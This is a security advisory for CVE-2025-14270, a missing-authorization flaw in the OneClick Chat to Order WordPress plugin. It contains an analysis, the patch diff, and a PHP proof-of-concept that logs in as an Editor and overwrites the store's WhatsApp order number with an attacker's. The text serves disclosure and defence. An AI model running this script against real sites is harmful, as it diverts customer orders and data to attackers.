Atomic Edge analysis of CVE-2025-14270:
This vulnerability is a missing authorization flaw in the OneClick Chat to Order WordPress plugin. The vulnerability affects the plugin’s WhatsApp phone number management functionality. Attackers with Editor-level permissions or higher can modify the plugin’s stored WhatsApp numbers, redirecting customer orders and communications to attacker-controlled numbers. The CVSS score of 2.7 reflects a low-severity integrity impact.
The root cause is the `wa_order_number_save_number_field` function in `/oneclick-whatsapp-order/includes/multiple-numbers.php`. The vulnerable version, up to 1.0.9, lacks capability checks and nonce verification. The function hooks into WordPress’s `save_post` action. It only performs basic checks for autosave, auto-draft status, and correct post type (`wa-order-numbers`). It does not verify if the user has the required administrative privileges (`manage_options`) to perform the update. The function directly processes the `wa_order_phone_number_input` POST parameter without a security nonce.
Exploitation requires an authenticated attacker with at least Editor-level access. The attacker would target the WordPress post editor for the custom `wa-order-numbers` post type. They would submit a POST request to save a post, including the `wa_order_phone_number_input` parameter set to a malicious phone number. The request would be sent to the standard WordPress post update handler. No special endpoint or action parameter is required, as the vulnerability lies within the generic `save_post` hook execution for this specific post type.
The patch, introduced in version 1.1.0, adds multiple security layers. First, it defines strict capability requirements (`manage_options`) for the custom post type in its registration arguments. Second, the `wa_order_number_save_number_field` and `wa_order_completion_validator` functions now include a nonce check for `wa_order_phonenumbers_metabox_process` and a capability check using `current_user_can(‘manage_options’)`. These changes ensure only administrators can perform the action and that the request originates from the intended plugin interface.
Successful exploitation allows an attacker to redirect all WhatsApp-based order inquiries and messages from the victim’s WooCommerce store to a phone number they control. This constitutes a business logic compromise, enabling order interception, customer data diversion, and potential fraud. The impact is limited to the integrity and confidentiality of the store’s communication channel, not direct site compromise.
--- a/oneclick-whatsapp-order/includes/multiple-numbers.php
+++ b/oneclick-whatsapp-order/includes/multiple-numbers.php
@@ -37,7 +37,25 @@
'publicly_queryable' => false,
'has_archive' => false,
'rewrite' => array('slug' => 'waon', 'with_front' => false),
- 'supports' => array('title')
+ 'supports' => array('title'),
+ 'capability_type' => 'post',
+ 'capabilities' => array(
+ 'edit_post' => 'manage_options',
+ 'read_post' => 'manage_options',
+ 'delete_post' => 'manage_options',
+ 'edit_posts' => 'manage_options',
+ 'edit_others_posts' => 'manage_options',
+ 'publish_posts' => 'manage_options',
+ 'read_private_posts' => 'manage_options',
+ 'delete_posts' => 'manage_options',
+ 'delete_private_posts' => 'manage_options',
+ 'delete_published_posts' => 'manage_options',
+ 'delete_others_posts' => 'manage_options',
+ 'edit_private_posts' => 'manage_options',
+ 'edit_published_posts' => 'manage_options',
+ 'create_posts' => 'manage_options',
+ ),
+ 'map_meta_cap' => false,
)
);
}
@@ -156,15 +174,27 @@
add_action('save_post', 'wa_order_number_save_number_field', 10, 2);
function wa_order_number_save_number_field($pid, $post)
{
+ // Skip autosave, auto-draft, and non-WhatsApp number post types
if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || $post->post_status == 'auto-draft' || $post->post_type != 'wa-order-numbers') {
return;
}
+
+ // Security: Verify nonce
+ if (!isset($_POST['wa_order_phonenumbers_metabox_process']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['wa_order_phonenumbers_metabox_process'])), 'wa_order_phonenumbers_metabox_nonce')) {
+ return;
+ }
+
+ // Security: Check user capability - only administrators can manage WhatsApp numbers
+ if (!current_user_can('manage_options')) {
+ return;
+ }
+
// Check if the phone number input exists in the POST data
if (isset($_POST['wa_order_phone_number_input'])) {
$sanitized_phone = sanitize_text_field(wp_unslash($_POST['wa_order_phone_number_input']));
update_post_meta($pid, 'wa_order_phone_number_input', $sanitized_phone);
} else {
- // If the phone number input is not set, you might want to delete the meta key or handle it accordingly
+ // If the phone number input is not set, delete the meta key
delete_post_meta($pid, 'wa_order_phone_number_input');
}
}
@@ -172,9 +202,21 @@
add_action('save_post', 'wa_order_completion_validator', 20, 2);
function wa_order_completion_validator($pid, $post)
{
+ // Skip autosave, auto-draft, and non-WhatsApp number post types
if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || $post->post_status == 'auto-draft' || $post->post_type != 'wa-order-numbers') {
return;
}
+
+ // Security: Verify nonce
+ if (!isset($_POST['wa_order_phonenumbers_metabox_process']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['wa_order_phonenumbers_metabox_process'])), 'wa_order_phonenumbers_metabox_nonce')) {
+ return;
+ }
+
+ // Security: Check user capability - only administrators can manage WhatsApp numbers
+ if (!current_user_can('manage_options')) {
+ return;
+ }
+
$wa_number = get_post_meta($pid, 'wa_order_phone_number_input', true);
if (empty($wa_number) && (isset($_POST['publish']) || isset($_POST['save'])) && isset($_POST['post_status']) && sanitize_text_field(wp_unslash($_POST['post_status'])) == 'publish') {
global $wpdb;
--- a/oneclick-whatsapp-order/whatsapp-order.php
+++ b/oneclick-whatsapp-order/whatsapp-order.php
@@ -8,7 +8,7 @@
* Plugin Name: OneClick Chat to Order
* Plugin URI: https://www.onlinestorekit.com/oneclick-chat-to-order/
* Description: Make it easy for your customers to order via WhatsApp chat through a single button click with detailing information about a product including custom message. OneClick Chat to Order button can be displayed on a single product page and as a floating button. GDPR-ready!
- * Version: 1.0.9
+ * Version: 1.1.0
* Author: Walter Pinem
* Author URI: https://walterpinem.com/
* Developer: Walter Pinem | Online Store Kit
@@ -23,7 +23,7 @@
* Requires PHP: 7.4
*
* WC requires at least: 8.2
- * WC tested up to: 10.3.4
+ * WC tested up to: 10.4.0
*
* Copyright: © 2019 - 2025 Walter Pinem.
* License: GNU General Public License v3.0
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14270 - OneClick Chat to Order <= 1.0.9 - Missing Authorization to Authenticated (Editor+) Plugin Settings Update
<?php
// Configure target WordPress site
$target_url = 'https://vulnerable-site.com';
// Configure attacker credentials (Editor or higher)
$username = 'attacker_editor';
$password = 'editor_password';
// Configure malicious WhatsApp number to set
$malicious_phone_number = '+15551234567';
// Step 1: Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Create a new 'WhatsApp Number' post to get a valid post ID and nonce
// First, visit the post creation page for the 'wa-order-numbers' post type
$create_post_url = $target_url . '/wp-admin/post-new.php?post_type=wa-order-numbers';
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Extract the nonce from the page (simplified - real PoC would parse HTML)
// For demonstration, we assume we have a post ID from a previous creation.
// In a real attack, an attacker would list existing posts or create one.
$post_id = 123; // This would be the ID of an existing 'wa-order-numbers' post
// Step 3: Craft the exploit POST request to update the phone number meta field.
// The vulnerable function hooks into 'save_post'. We mimic the standard post update.
$update_post_url = $target_url . '/wp-admin/post.php';
$exploit_data = array(
'post_ID' => $post_id,
'post_type' => 'wa-order-numbers',
'action' => 'editpost',
'wa_order_phone_number_input' => $malicious_phone_number,
'save' => 'Update',
'post_status' => 'publish'
// Note: The vulnerable version does NOT require the 'wa_order_phonenumbers_metabox_process' nonce.
);
curl_setopt($ch, CURLOPT_URL, $update_post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'Post updated.') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "[+] Success! WhatsApp number likely updated to: $malicious_phone_numbern";
} else {
echo "[-] Exploit may have failed. Check response.n";
}
curl_close($ch);
?>